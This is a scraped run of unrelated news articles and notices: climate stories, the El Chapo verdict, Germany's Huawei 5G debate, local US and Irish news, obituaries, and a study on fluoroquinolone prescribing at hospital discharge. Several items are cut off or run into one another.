Most of the presidents he advisedwith the exception of Obamawere more interested in supporting climate research than mitigation, he said. President Obama, on the other hand, championed the Paris climate Agreement and crafted numerous climate protections.

President Obama awards Warren Washington the National Medal of Science. National Center for Atmospheric Research

Washington first met him in the fall of 2007, when Obama was still a senator. "We both were asked to speak to the Congressional Black Caucus about climate change," he recalled. "He spoke before me, and it was clear he had read the IPCC report [a major UN report on climate change]. I was next, and I teased him a little bit, 'You gave my talk.' He laughed."



Not surprisingly, Washington has not been asked to brief President Trump, who plans to exit the Paris Agreement and is working to undo numerous Obama-era climate protections."I can't figure the man out. He doesn't get briefings or read. He doesn't get advice, like most presidents [do]," Washington said. "He doesn't have any interest in reading any reports on any subject, not just science. During his State of the Union speech to Congress, he didn't even mention [climate change] once."

Nevertheless, Washington is encouraged by climate actions outside the federal government, and still has hope for the future. "I think we just have to suffer through another couple of years with this president," he said. "But I haven't lost my optimism."

Reposted with permission from our media associate Nexus Media.A damaging storm pummeled the Hawaiian islands over the weekend, downing trees and power lines, raising 60-foot-waves, and potentially breaking records for wind speed, low temperatures and snowfall. And scientists say this is exactly the kind of extreme weather event made more likely by climate change.

"There's no place on the planet where (people) can expect to see conditions as they have been in the past," University of Hawaii at Manoa Earth Sciences professor and Honolulu Climate Change Commission vice chair Chip Fletcher told USA Today of the weekend's storm.

The Hawaii Tourism Authority on Sunday had to warn visitors from snorkeling, surfing, hiking and swimming because of the storm, and Honolulu Mayor Kirk Caldwell said the Aloha state could see more weather patterns like this.



"We're going to be dealing with this much, much more in the future with our changing climate," Caldwell said at a Sunday press conference, according to USA Today.

Lowest Snowfall?

The element of the storm that has garnered the most attention has been the snowfall at surprisingly low elevations.

The Hawaii Department of Land and Natural Resources (DLNR) wrote in a Facebook post that snow had been reported at Polipoli State Park in Maui "for perhaps the first time ever." The park is only 6,200 feet above sea level.

"It could also be the lowest elevation snow ever recorded in the state," Hawaii DLNR said.

National Weather Service (NWS) in Honolulu meteorologist Melissa Dye told the Huffington Post that the park saw four foot snow drifts.



"It's just real white like ice now, so it's just blowing around and drifting," she said.

However, The Washington Post's Capital Weather Gang cautioned that the snow fall might have actually been graupel, a type of small hail. Weather balloon readings taken on the Big Island suggested the atmosphere was too warm for snow below 8,000 feet. However, Dye told the Huffington Post that temperatures at Polipoli must have hit freezing, though the NWS does not have a sensor there.

Snow fell inside Maui's Haleakala crater at an elevation of 6,000 feet on Feb. 19, 1903, The Washington Post reported.

Other Records

The weekend's storm did bring unusually low temperatures to go along with the unusually low snowfall.

Sensors at the summit of the Big Island's Mauna Kea recorded lows between minus-10 and minus-12 degrees Celsius (approximately 10.4 to 14 degrees Fahrenheit), The Washington Post reported. The lowest temperature ever recorded for the area was minus-11.1 degrees Celsius (approximately 12.02 degrees Fahrenheit) in May 1979.

A wind speed of 191 miles per hour was also recorded on Mauna Kea, which will be the highest in the state's history if verified. The weekend's storm was also one of the strongest wind storms to ever hit Hawaii.

The wind was combined with unusually high waves.

"The forecasters were spot on with their predictions. They're calling this an unprecedented event and we concur that we rarely if ever have seen the combination of record high on-shore waves, coupled with gale force winds," DLNR Office of Conservation and Coastal Lands administrator Sam Lemmo said in the DLNR Facebook post.

A Year of Extremes



The Washington Post pointed out that the weekend's storm follows a year of extreme weather for Hawaii:North Carolina, a state known for the devastating environmental and public health impacts of industrial-scale hog production, now has more than twice as many poultry factory farms as swine operations, according to a new investigation from the Environmental Working Group and Waterkeeper Alliance.

The groups' research found that in 2018, manure from 515.3 million chickens and turkeys joined the waste from 9.7 million hogs already fouling waters and threatening North Carolinians' health. By scouring satellite data, examining U.S. Department of Agriculture imagery and conducting site visits, EWG and Waterkeeper experts identified more than 4,700 poultry and about 2,100 swine concentrated animal feeding operations, or CAFOS.

The analysis comes as state regulators are debating the terms of the state permit regulating waste management from swine CAFOs.

"If you're setting standards for pig waste, you can't ignore the recent explosive growth of the poultry industry, which has largely flown under the radar," said Soren Rundquist, EWG director of spatial analysis.

The North Carolina Department of Environmental Quality, or DEQ, is required to update its CAFO waste permits every five years and is currently gathering public and industry input on the swine permit. The agency must consider the cumulative impact of similar operationshogs, poultry and cattleon the environment.

DEQ's top CAFO regulator recently admitted to lax enforcement in the agency's oversight of swine operations. And in 2014, the U.S. Environmental Protection Agency opened an investigation into whether the state's management of swine facilities and their waste discriminates against African-Americans, Latinos and Native Americans, as described in this letter from EPA to the DEQ. A settlement was reached last May.

Although the state implemented a moratorium on new swine operations in 1997, the poultry industry has tripled since thenfrom 147 million birds to 515.3 million today.

"Most of the poultry industry operates largely with impunity," said Will Hendrick, staff attorney for Waterkeeper Alliance. "Unfortunately, there is a lot of geographic overlap of poultry and swine operations, particularly in the coastal plain. That means North Carolina's rivers, already choking on millions of gallons of pig manure, are now forced to cope with tons of chicken waste, as well."

In Duplin and Sampson countieshistorically the epicenter of hog pollutionnearly 82 million chickens and turkeys are now packed in among four million pigs.

People who live near or work on swine CAFOs are more likely to suffer from potentially deadly diseases like asthma, bacterial infections and high blood pressure, according to a 2018 Duke University study. In four recent federal lawsuits, juries have found in favor of North Carolina neighbors of CAFOs, although the state legislature has made such lawsuits much more difficult to file.

Nutrient pollution from the nitrogen and phosphorus found in farm animal waste can cause issues like toxic algae blooms that kill fish and other marine life, choke out native plants and contaminate drinking water. Due to the rapid growth of the industry, poultry operations are now a much larger source of nutrient pollution in North Carolina than swine farms.

Many North Carolina CAFOs are located in areas prone to flooding, especially as climate-change-related weather leads to more frequent, more severe storms. Although the 1997 hog operation moratorium was precipitated by hurricanes hammering farms in North Carolina floodplains, at least 74 poultry farms have been built in floodplains, many along three riversthe Lumber, Neuse and Cape Fearthat flooded during both Hurricane Matthew in 2016 and Hurricane Florence in 2018.

Poultry waste, which is mixed with carcasses and bedding to form a substance called dry litter, is stored in large piles before being applied to farm fields. It can easily be blown by wind or washed by rain into nearby rivers.

"There is ample evidence factory farm pollution simply doesn't stay on farms," Rundquist said. "As DEQ finalizes the swine waste standards, it must account for the enormous recent growth of the poultry industry. The health of North Carolinians and their environment depend on it."

On Jan. 31, the North Carolina DEQ announced a 30-day public comment period on CAFO waste permits, as well as two public meetings. The first meeting will be held at 6 p.m. on Feb. 19 at James Sprunt Community College in Kenansville. The second will be held at 6 p.m. on Feb. 26 at Statesville Civic Center in Statesville.By Wenonah Hauter

Cabot Oil & Gas, a company with $765 million in assets in 2017, doesn't like environmental nonprofits meddling in its dirty business in Pennsylvania. And the company is delivering this message by targeting Ray Kemblea local 63-year old who just survived his fourth cancer surgerywith a $5 million lawsuit for speaking out about Cabot and fracking.

If corporate injustices were measured on a scale of one to ten, Cabot's latest disgraceful maneuver would be a rock-solid eleven. Back in 2010, Cabot settled a number of lawsuits brought by Dimock homeowners who claimed that the company had poisoned their groundwater, decreased their property values and threatened their health and safety. Kemble was one of those plaintiffs who signed a settlement agreement that included some unknown nondisclosure terms. It's a secrecy provision that Cabot often uses to keep its dirty practices hidden and one that state and federal regulators have cited as a hinderance to a full investigation into the impact of fracking on groundwater and public health.

While its exact terms remain concealed, Cabot's lawyers want us all to take their word for it that Kemble is in violation of the nondisclosure provision of the agreement because he has exercised his First Amendment right to warn others of the risks of fracking and encourage an end to this inherently harmful practice. Kemble's effective advocacy made him a target of Cabot's ire, and now they've taken aim and fired off a lawsuit that seeks to strip him of all he has left in the world, and then some.

Cabot's recent filing with the court asked the judge to place a cancer patient with no resources in jail until its lawyers have had a chance to interrogate him. The judge rejected its request and after the hearing, Cabot's spokesperson tried to deflect from the corporation's persecution of Kemble by claiming that it is really just using the courts to go after groups that have provided financial support to Kemble and others who have been victimized by Cabot's irresponsible fracking operations.

The irony of Cabot's claims is rich. While Cabot whines about advocacy groups supporting affected citizens in their work to stop fracking, its spokesperson didn't mention the over $600,000 the company paid out in lobbying and campaign contributions between 2011 and 2014 in Pennsylvania in an attempt to cover up the 265 operating violations it racked up over the same period.

Elected officials have happily taken campaign money from Cabot to protect its interests in the state. Food & Water Watch has been proud to stand alongside Kemble and all the other victims of Cabot and other fracking companies in Dimock, across Pennsylvania and around the country. We've provided funding so that people in Dimock who have had their drinking water taken from them have access to clean water, and to assist these courageous frontline advocates who have been fighting hard against crooked companies and bought-and-paid-for elected officials who look the other way. And we will continue to do so even in the face of corporate intimidation.

Cabot can only continue to operate by violating the fundamental rights of others. It threatens the property rights of homeowners whose groundwater is poisoned and whose property values plummet. It even relies on judges to overturn juries who grant Cabot's victims monetary damages for the harm Cabot has caused, while paying off politicians. And now the corporation wants to put an end to people's rights to speak freely about fracking.

It's time to put an end to Cabot's reign of terror in Pennsylvania. The federal Environmental Protection Agency should reopen the investigation into Dimock's groundwater that it abruptly walked away from without explanation. The state legislature should hold hearings on Cabot's business and drilling practices and the use of nondisclosure agreements to silence victims. And the state Attorney General Josh Shapiro should launch an investigation into Cabot's shameless persecution of Kemble and Cabot's misuse of the court system. It's time for these officials to step up and protect residents of Pennsylvania from the abuses of greedy and irresponsible oil and gas companies like Cabot.

Wenonah Hauter is executive director of Food & Water Watch.

The Natural History Museum in London announced on Wednesday the winner of the Wildlife Photographer of the Year: LUMIX People's Choice Award.

After counting 16,000 votes from nature fans, wildlife photographer David Lloyd's shot of a pair of nuzzling Serengeti lions, called Bond of Brothers, was crowned the top image.



"I'm so pleased that this image did well because it illustrates the emotion and feeling of animals and emphasizes that this is not limited to humans," Lloyd said in a press release.

"It is something I think more people need to be aware of for the sake of all animals," he added.

Lloyd, who is from New Zealand and based in London, talks about how he caught the heartwarming scene here:

The public chose Lloyd's photo out of 25 pre-selected images by the Natural History Museum. The museum made its shortlist from more than 45,000 submissions across 95 countries.



Museum director Michael Dixon praised the photographer for capturing a tender moment between the wild animals.

"Lions are individuals with complex social bonds, and David's winning picture provides a glimpse into their inner world," Dixon said in the release. "A truly stunning photograph, this intimate portrait reminds us that humans aren't the only sentient beings on this planet. I hope the empathy and wonder garnered by this image will inspire more people to become advocates for nature."

Winning Photo



These two adult males, probably brothers, greeted and rubbed faces for 30 seconds before settling down. Most people never have the opportunity to witness such animal sentience, and David was honored to have experienced and captured such a moment. The picture was taken in Ndutu, Serengeti, Tanzania. Bond of Brothers by David Lloyd, New Zealand / UK

Lloyd's photograph can be seen at an exhibition at the Natural History Museum until June 30 along with other "highly commended" entries, including the four shown below.

These include Matthew Maran's shot of a fox walking towards graffiti art of another fox in north London; Bence Mate's picture of three painted wolves playing with the leg of an impala; and Wim Van Den Heever's photo of three king penguins on a beach in the Falkland Islands.

One of the most striking pictures in the top five is Justin Hofman's devastating photo of an emaciated polar bear in the Canadian Arctic. According to the image caption, the American photographer's "whole body pained" while watching the starving bear at an abandoned hunting camp.

"With little, and thinning, ice to move around on, the bear is unable to search for food," the caption states.

"Highly Commended" Photos

Matthew has been photographing foxes close to his home in north London for over a year and ever since spotting this street art had dreamt of capturing this image. After countless hours and many failed attempts his persistence paid off. Fox Meets Fox by Matthew Maran, UK

Wim came across these king penguins on a beach in the Falkland Islands just as the sun was rising. They were caught up in a fascinating mating behaviorthe two males were constantly moving around the female using their flippers to fend the other off. Three Kings by Wim Van Den Heever, South Africa

Justin's whole body pained as he watched this starving polar bear at an abandoned hunter's camp, in the Canadian Arctic, slowly heave itself up to standing. With little, and thinning, ice to move around on, the bear is unable to search for food. A Polar Bear's Struggle by Justin Hofman, USAMexican mobster Joaquin

The 61-year-old former boss of the notorious Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces life in prison. (Photo:AFP)

New York: Mexican mobster Joaquin "El Chapo" Guzman has been convicted of crimes spanning a quarter-century in a trial that laid bare his lavish lifestyle and penchant for extreme violence as head of one of the world's most powerful gangs.

The 61-year-old former boss of the notorious Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces life in prison for smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States.

He was also found on Tuesday guilty on money laundering and weapons possession charges during a three-month trial in which witnesses described the mob boss beating, shooting and even burying alive those who got in his way.

"The verdict was a tremendous victory for the rule of law, for Mexico, the United States and other countries that have been victims of the Sinaloa cartel," Mike Vigil, former head of international operations for the US Drug Enforcement Administration, told AFP.

"Chapo Guzman was the world's greatest drug lord of all time," Vigil added. "He surpassed other drug lords, including Pablo Escobar."

In a three-month trial that unfolded like a real-life telenovela, Guzman's ex-henchmen and a former mistress took the stand under the gaze of the stocky gangster, whose nickname is Spanish slang for "shorty."

His young wife, onetime beauty queen Emma Coronel, showed up almost every day in court to be with her husband. After sentencing on June 25, Guzman is likely to be transferred to a so-called "supermax" prison in Colorado, sometimes called the "Alcatraz of the Rockies" and considered one of the most secure in the US.

His conviction is seen as a big win for the US, which failed to obtain the extradition of Escobar, the Colombian drug lord who was killed in a police operation in 1993. Guzman's lawyer Bill Purpura said his client had expected the verdict but was a "guy who never gives up" and had vowed to appeal.

During the trial, the government presented 56 witnesses and troves of incriminating material, including intercepted calls between Guzman and his associates, and conservations taped secretly by informants.

Some of the most eye-watering testimony came from a former hitman who offered gruesome details about acts of torture and killings of rivals personally carried out by his then boss.

Isaias Valdez Rios told the court he saw Guzman leave one captive -- a rival from the Arellano Felix cartel -- in a chicken coop for two days After two interrogations, Guzman shot the man -- before ordering him buried alive.

On another occasion, the court heard, Guzman beat two members of the Zetas cartel with a thick tree branch till their bones were broken before shooting them dead.

Guzman was not on trial for murder, but federal prosecutors attempted to depict him as a violent and ruthless man, ready to do anything to protect his business. Former employees testified that the cartel paid bribes of millions of dollars at the highest levels of government, including to former President Enrique Pena Nieto, who denies the allegation.

The trial also offered a glimpse at the opulent lifestyle led by Guzman, who grew up in poverty. His ex-pilot and former cartel manager for Mexico City testified that Guzman had four airplanes, numerous houses including a mansion in Acapulco, a yacht named "Chapito" and a ranch that included a zoo and a small railway.

In his closing arguments late last month, another of Guzman's lawyers, Jeffrey Lichtman, asked the jury not to convict on the basis of the "garbage" testimony of government witnesses.

Lichtman contended that Guzman was merely a "scapegoat," and that the real culprit in the drug trafficking operations was Ismael "El Mayo" Zambada, the co-founder of the Sinaloa cartel.

"Mayo has been the largest narco trafficker for decades in Mexico. He has never been arrested. He has paid hundreds of millions of dollars to stay free," Lichtman said.

The government, meanwhile, appealed to the jury not to let Guzman "escape" -- an allusion to his two spectacular jail breaks in Mexico, the last in 2015 through a tunnel from a shower area in his cell.

The defense called just one witness, an FBI agent put on the stand in an attempt to undermine the credibility of one of Guzman's cocaine suppliers who had testified against him. The defense's strategy centered on attacking the credibility of the cooperating witnesses -- former secretaries, pilots, cocaine suppliers, Guzman's top trafficker in the United States, a manager, an accountant, a former communications chief, and a former lover.

Most are serving prison sentences and hoped to have their penalties reduced in return for their cooperation with prosecutors.

Reporter Claire Withycombe: cwithycombe@eomediagroup.com or 971-304-4148. Withycombe is a reporter for the East Oregonian working for the Oregon Capital Bureau, a collaboration of EO Media Group, Pamplin Media Group, and Salem Reporter.

Paris Achen: pachen@portlandtribune.com or 503-506-0067. Achen is a reporter for the Portland Tribune working for the Oregon Capital Bureau, a collaboration of EO Media Group, Pamplin Media Group and Salem Reporter.Pleasant Valley - Maryann Towers, 84, of Pleasant Valley, NY passed away on Monday, June 21, 2021 at Lutheran Care Center. Born in Lawrence. on April 23, 1937, she was the daughter of the late John and Katherine Petrow Koralishn. She was a graduate of Lawrence High School, Class of 1954, Mt.Some government and industry leaders have been hoping to achieve clarity on the ground rules for 5G.

Chancellor Angela Merkel has said Germany needs guarantees that Huawei would not hand data to the Chinese state before it can take part in building fifth-generation networks. (Photo: AP)

The German government will consult further with telecoms operators and vendors before deciding whether to let Chinese firms such as Huawei Technologies participate in building future 5G mobile networks, a senior source said.

A decision is unlikely within the next two weeks, the source added, after ministers discussed the matter last week against a backdrop of US calls on its European allies to exclude Chinese vendors on national security grounds.

Some government and industry leaders have been hoping to achieve clarity on the ground rules for 5G before Germany fires the starting gun on the buildout of next-generation networks by auctioning spectrum in late March.

Work still needs to be done to address costs, feasibility and security measures, said the source, pushing back against reporting in the German business press that officials had hammered out a common approach.

Chancellor Angela Merkel has said Germany needs guarantees that Huawei would not hand data to the Chinese state before it can take part in building fifth-generation networks that would link everything from vehicles to factories at far greater speeds.

Huawei, the global networks market leader with annual sales exceeding USD 100 billion, faces international scrutiny over its ties with the Chinese government and suspicion Beijing could use its technology for spying, which the company denies.

US Secretary of State Mike Pompeo drove home that message in Budapest on Monday, cautioning allies in central Europe that deploying equipment from Huawei would make it more difficult for Washington to partner alongside them.

Germanys three telecoms operators - Deutsche Telekom, Vodafone and Telefonica Deutschland - use Huawei equipment in their networks and have warned that curbing their choice of vendors could be costly.

Deutsche Telekom has, for its part, proposed a series of technical and compliance measures to safeguard security, including setting up an independent laboratory to scrutinise all equipment used in critical infrastructure before it is deployed in the field.

It also called for network equipment makers to submit the source code that runs their equipment to a trusted third party. Under certain circumstances, an operator would be able to gain access to address any security vulnerabilities.

Further, it said legal obligations and liability for the security of critical infrastructure should be broadened to cover network vendors in addition to operators, as is the case now.Where are the best places to shop? Who gives the best haircut? Who cooks the best burger? Join our readers in selecting the "Best of Windham."

Make your picks!Readers Survey

As our valued readers, we want to hear from you. Please take a moment to fill out the survey below. - Thank you, Eastern Arizona Courier Click HereLocal election candidate Eugene Garvey has welcomed the news that the overgrown trees at Fr Murray Park / OHanlon Park in Dundalk will be trimmed within the next couple of weeks.

Sinn Fein candidate Mr Garvey said: The trees back on to the railway line and Irish Rail have had to trim them back on numerous occasions but that is only on their side. Sinn Fein Cllr Edel Corrigan first raised this as far back as 2016. The Council did an inspection and agreed they needed trimmed back.

Mr Garvey said that the trees have been causing problems for residents especially in the Autumn when leaves are falling and blocking drains in the area. What is more concerning is the extreme weather we have been having over the past twelve months. Residents are afraid the trees will come down taking overhead wires with them.

He added: I am pleased to report though that the trees will be pruned within the next few weeks and I welcome this as Im sure will the residents of Fr Murray Park and OHanlon Park.Please allow ads as they help fund our trusted local news content.

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Support our mission and join our community now.ADA [ndash] Services for Virginia Ruth Spann, 73, of Ada, will be 10 a.m. Saturday, June 26, 2021, at the Byng Free Will Baptist Church, Rev. Roger Arter will officiate. Burial will follow at Oakman Cemetery. Mrs. Spann died Monday, June 21, 2021, at her home. See criswellfh.com website for If it happens, he will become a first member of the famed Thackeray family to enter electoral politics.

Mumbai: Just like Congress introduced party president Rahul Gandhis sister Priyanka Gandhi to active politics, Shiv Sena may also spring a surprise by asking Aaditya Thackeray to contest the upcoming Lok Sabha or Vidhan Sabha polls. If it happens, he will become a first member of the famed Thackeray family to enter electoral politics.

According to Shiv Sena sources, several party leaders have pleaded with Aaditya to contest either the Lok Sabha or Vidhan Sabha polls, both to be held this year. Sena chief Uddhav Thackeray has been holding meetings with party leaders and office-bearers for the preparation of forthcoming polls. During these meetings, Aaditya was asked by his partymen to explore the possibility of contesting the polls.

We have requested Aadityaji to contest either the Lok Sabha or Vidhan Sabha polls. His entry into electoral politics will certainly energise the party. said a senior party leader on the condition of anonymity.

Aaditya, has also been a head of Yuva Sena  partys youth wing. Though away from electoral politics, he has been considered the second leader in the party and is also considered as the brain behind major party decisions and was also involved in seat-sharing talks with the BJP.The number stunned Houston County District 4 Commissioner Brandon Shoupe: 48 percent of survey respondents could support some type of tax increase that benefits schools, roads, and law enforcement.

For more than a week earlier this month, Shoupe conducted an online survey to gauge the interests and concerns of Houston County residents. More than 47.8 percent of survey respondents said they either would consider or strongly consider a tax hike if the money benefited road construction, schools, or law enforcement agencies.

In contrast, 33.9 percent opposed the idea, while another 18.25 percent had no opinion or were unsure of their thoughts.

The thing that stands out the most is the level of support of at least the idea of another revenue source, Shoupe said Tuesday. I thought about a third would support it.

Residents in the Taylor, Rehobeth, Bay Springs, and Wicksburg communities endorsed the idea of a revenue increase the most, results suggest. Shoupe said he believes the recent growth in those areas, particularly Bay Springs and Wicksburg, fueled the result.ABBEVILLE  One of a handful of actions from the Henry County Commission Tuesday has literally paved the way for Abbeville Fibers continued development.

The commission voted unanimously to serve as the project manager for a road project that will install turn lanes on U.S. Highway 431 and Alabama Highway 27 for the indoor automated sawmill. The company has estimated about 100 log trucks will visit the facility per day when it begins operations in the summer, said David Money, Henry County Commission chairman and probate judge.

We can anticipate a backup on 431 and 27 (without the turn lanes), Money said. The state said they would handle the improvements.

Henry County engineer Chris Champion said the state sets aside industrial access funds that aim to help economic development projects like Abbeville Fiber, which projects to create about 100 jobs with an average wage of between $17 and $19 per hour.

For the funding to be received, a local governmental entity must serve as the sponsor for the funding application and manage the construction contract, he added.Enterprise State Community College will host a special Black History Month program on Sunday, Feb. 17, featuring Enterprise Mayor Bill Cooper as the guest speaker.

It will begin at 3 p.m. in the multipurpose room of the LBW Student Center at ESCC.

Hosted by the ESCC Diversity Awareness Committee, the program will give a first-hand perspective of the Civil Rights Movement, as Cooper -- who became the first black mayor of Enterprise after serving nearly 30 years as a city councilman -- will talk about his personal experiences in the era.

There will be music from Montgomerys George Washington Carver High School Choir, directed by Henry Terry, and from the ESCC College Concert Choir, directed by Ken Thomas.Though it may seem to Wiregrass and Panhandle residents that hurricane season just ended, next month will mark the beginning of the storm season for 2019. In order to keep county residents prepared for whatever the weather might throw at them, Coffee County Emergency Management Agency is promoting its mass notification system and encouraging the Wiregrass to sign up to receive severe weather alerts should the need arise this year.

The mass notification system is a tool that we use to issue severe weather alerts or any other type of alert that might affect you all from a public safety standpoint, Lyons said. Its a free service that the county provides to you and in a severe weather situation, for example a tornado warning, theres a notification sent out by the National Weather Service in Tallahassee; that gets pushed out through our system to you. If you have a cell phone, even if its a flip phone all the way up to a smart phone, youll get a notification. Itll call you, text you, and email you to make sure youre receiving that information. Thats a public safety issue for us; we want to make sure that everybody has information to help keep them safe.Troylis (Troy) and Linda Gordon will celebrate their 50th wedding anniversary on Feb. 11, 2019.

They were married in Pensacola, Florida, on Feb. 11, 1969.

Troy is a retired Army aviator and DAC instructor pilot. Linda taught at ESCC.

They have one daughter, Capt. Jennifer Wright, U.S. Public Health Service, who lives in the Atlanta area with her husband Bill and their two children.

The Gordons are the third generation of his family to achieve fifty years of marriage. His parents, Clary and Clara Gordon were married on Oct. 30, 1940, and celebrated their fiftieth anniversary in 1990. His paternal grandparents, John and Ellen Gordon, were married on Feb. 16, 1913, and celebrated fifty years in 1963.Community hospital projects in Donegal are facing delays as part of the fallout from the overrun of the National Childrens Hospital.

There are fears that projects such as the 19m 80-bed extension to the Sheil Hospital in Ballyshannon and hospital projects in Stranorlar, Carndonagh, Lifford and Ramelton could be delayed as a result of the overrun.

Donegal TD and Minister for Education Joe McHugh confirmed there will be delays of two to three months to some of the projects.

Mr McHugh reiterated the Governments commitment to the projects but confirmed that the upgrade of Carndonagh Community Hospital will be delayed by two to three months and all the projects are facing possible deferrals of start dates.

Meeting

A meeting has been called in Ballyshannon on Monday night to discuss the situation at the Sheil Hospital.

The Government also announced that it is delaying its 27m payment to the A5 dual carriageway. The project has been delayed due to a legal challenge and Mr McHugh says the 27m will be paid early next year instead of later this year.

The delay to the project is frustrating, Mr McHugh told Highland Radio.

"The binding commitment between both governments, both London and Dublin, is still there," he said.

The delays of the spending on the projects here have been met with anger.

Deputy Pat the Cope Gallagher, Leas Cheann Comhairle of the Dail, said the development was bad news for the communities where the projects are due to go ahead.

As a county, it seems at this stage that we are bearing the maximum level of these cuts being imposed by the entire Cabinet. The Government has hit Donegal the hardest following their mismanagement of the Childrens Hospital project.

Roads projects delayed, community hospitals deferred before they start and perhaps even more cuts are to follow when the full details of these cuts are revealed. It is self-evident that no one is wearing the Donegal jersey around the Cabinet table at present.

Deputy Thomas Pringle said Donegal has been waiting for an incredibly long time for an upgrade to the A5.

It is worrying that Fine Gael has the power and the scope to withdraw or delay funding for Donegals infrastructural needs overnight in an attempt to save their own skin on the national stage.

Now there are talks that upgrades to the Sheil Hospital in Ballyshannon might be under threat too which could affect access to health services for constituents in the south of Donegal. Fine Gael must move to reassure people that other infrastructural projects are not under threat.

Fianna Fail TD Charlie McConalogue said the A5 is a vital piece of infrastructure for Donegal and the North West.

Today we are looking at another significant delay as the government scrambles to fund the overrun on the National Childrens Hospital and targets the north west as the first area to have funding taken away.

I know that efforts are underway to try to overcome the legal impasse so that the requirement for Stormont ministerial sign-off can be circumvented, with a view to work being able to commence on the A5 before the end of this year. This makes it crucial that the funding from the Government is available for the project so that it can proceed if the legal impasse is resolved.Even as hospitals cut risky antibiotic use in-house, patients often go home with them

Even as hospitals try to cut back on prescribing powerful but risky antibiotics for their patients, a new study shows that many of those patients still head home with prescriptions for those same drugs  increasing their risk of everything from "superbug" infections to torn tendons.

Even as hospitals try to cut back on prescribing powerful but risky antibiotics for their patients, a new study shows that many of those patients still head home with prescriptions for those same drugs

In fact, the hospitals that said they are actively trying to reduce use of a group of antibiotics known as fluoroquinolones were twice as likely to discharge patients with a new prescription for one of the drugs in that risky group.

In all, one-third of the patients studied received a fluoroquinolone prescription at the end of their hospital stay, despite the fact that current guidelines call for restricted use due to side effects.

And across all 48 Michigan hospitals in the study, discharge-related prescriptions accounted for two-thirds of the entire fluoroquinolone supply prescribed to the nearly 12,000 patients treated for pneumonia or urinary tract infections. The drugs accounted for 42 per cent of all antibiotics prescribed at discharge.

"Fluoroquinolone antibiotics are easy to use, but carry a lot of risk for patients and society at large," says Valerie Vaughn, MD, MSc, lead author of the new paper and a hospital medicine specialist at Michigan Medicine, the University of Michigan's academic medical center. "These results show we need to focus on not just their use in hospitals, but also in the prescriptions that we send patients home with. Discharge prescribing is a big loophole."

Vaughn and her colleagues report the findings in the journal Clinical Infectious Diseases. The data come from the Michigan Hospital Medicine Safety (HMS) Consortium which brings together hospitalist, general internal medicine and infectious diseases physicians from across the state to improve the care of hospitalized patients.

The data come from patients treated for pneumonia or UTIs over a nearly two-year period ending in fall 2017. That includes the first nine months after national organisations began requiring hospitals to have a program for tracking and reducing use of antibiotics.

Called antimicrobial stewardship, such programs stem from a need to curb the rise of "superbugs" or bacteria that evolve to resist treatment and threaten patients' lives.

A risky family of antibiotics

Fluoroquinolones include name-brands like Cipro and Levaquin as well as generic antibiotics whose names end in "floxacin." They have been especially linked to the rise of drug-resistant organisms, and to potentially life-threatening gut infections with an opportunistic microbe called Clostridiodes difficile.

They've also been linked to ruptures of Achilles tendons, to dangerously low blood sugar levels in people with diabetes, and to mental health problems including disorientation and delirium.

The US Food and Drug Administration (FDA) has issued several "black box" warnings about their side effects  most recently in December with a warning that fluoroquinolones could cause rupture of the aorta, the huge artery leading from the heart to the rest of the body.

That warning suggests doctors should not prescribe the drugs to the elderly, people with high blood pressure and people with a risk or history of aneurysms.

Smarter choices needed

The new study focuses on pneumonia and UTI because the two conditions account for almost half of antibiotic use in hospitals. Most patients with these conditions are cared for by hospitalists or general internists, rather than infectious diseases specialists who mainly focus on the most serious cases.

In all, more than 10 per cent of patients in the study were switched to a fluoroquinolone antibiotic when they were discharged.

While fluoroquinolones are just one group of antibiotics that doctors can choose from, Vaughn notes that they do carry the advantage of being able to treat a broad spectrum of infectious organisms, and to be used in patients who are allergic to penicillin.

They also come in pill form, rather than needing to be delivered intravenously, which makes them much more attractive for discharge prescriptions.

But if patients are getting through their hospitalisation without them, then they're likely not the right choice for treatment after they leave the hospital, says Vaughn.

"When patients first come in to the hospital, doctors don't typically have test results to show what's causing their infection," which could guide antibiotic choice, Vaughn explains. They also may not know if the patient is allergic to penicillin.

"But by the time they're leaving you have more results and history  the most information you're going to have about them," she adds. "This makes the discharge prescription a great place for stewardship programs to intervene, and to make antibiotic choice more of an active thought than an afterthought."

Next steps

The phenomenon observed in the new study  where the hospitals that had active antimicrobial stewardship programs had higher rates of prescribing fluoroquinolones at discharge  deserves more scrutiny, says Vaughn.

Fourteen of the hospitals in the study had specific measures in place to require review of fluoroquinolone prescriptions during hospitalization.

In these hospitals, more than 78 per cent of the supply of fluoroquinolones was prescribed at discharge, compared with 68 per cent of the supply for the other 34 hospitals, nearly all of which had antimicrobial stewardship programs but didn't put special emphasis on fluoroquinolones.

It may be that while pharmacists and infection prevention specialists are keeping an eye on in-hospital prescribing, they don't have access to, or don't focus on, the prescriptions written at discharge. Electronic health record systems track both inpatient and discharge medications, but they are often in separate sections of the record.

In fact, says Vaughn, when the HMS team showed hospital-specific data on discharge antibiotic prescribing to the physicians in the partnership, it was the first time most had seen such data.

Since the data were shared, several hospitals in the consortium have begun paying special attention to discharge prescribing of fluoroquinolones, and others are preparing to. For example, a project is now underway to improve antibiotic prescribing at discharge at Michigan Medicine.

If prescribing drops, the side effects of the drugs should too. The researchers note that special focus on appropriate fluoroquinolone prescribing in the United Kingdom has resulted in a 60 per cent drop in C diff infections.

In the US, hospitals can be penalised financially if a high proportion of their inpatients develop C. diff infections during their stay. But those penalties don't apply if the patient develops C. diff after they leave the hospital.

For patients and families

Hospitalised patients don't usually express a preference for which antibiotic they receive - except for saying they have a penicillin allergy if they believe they do, Vaughn says.

Patients and their families can speak up about not wanting a fluoroquinolone in the hospital or at discharge, especially if they have conditions like diabetes, high blood pressure, history of aneurysm, or tendon/muscle problems. Patients with a history of C. diff should be especially wary.

Furthermore, says Vaughn, patients often think they have a penicillin allergy when they do not. If they tell their health care team they have a penicillin allergy when they haven't been tested to make sure, that might mean they'll be prescribed a higher-risk antibiotic.

Patients who have a past test confirming their penicillin allergy, or who experienced shortness of breath or hives after receiving a penicillin-containing drug, should make sure their record notes this. But patients who had an upset stomach or diarrhea after taking penicillin typically do not have an allergy, and should ask to be tested so they know for sure and can receive the lowest-risk antibiotic.

Even if the doctor recommends a fluoroquinolone specifically, patients and families can ask to be given the shortest course possible, to reduce the risk of side effects. Research has shown that often short courses of the drugs are safe and effective.

"In this era of choosing wisely in medicine, our mantra should be that less is more when it comes to antibiotics," says Vaughn.New US development finance agency to curb Chinese influence

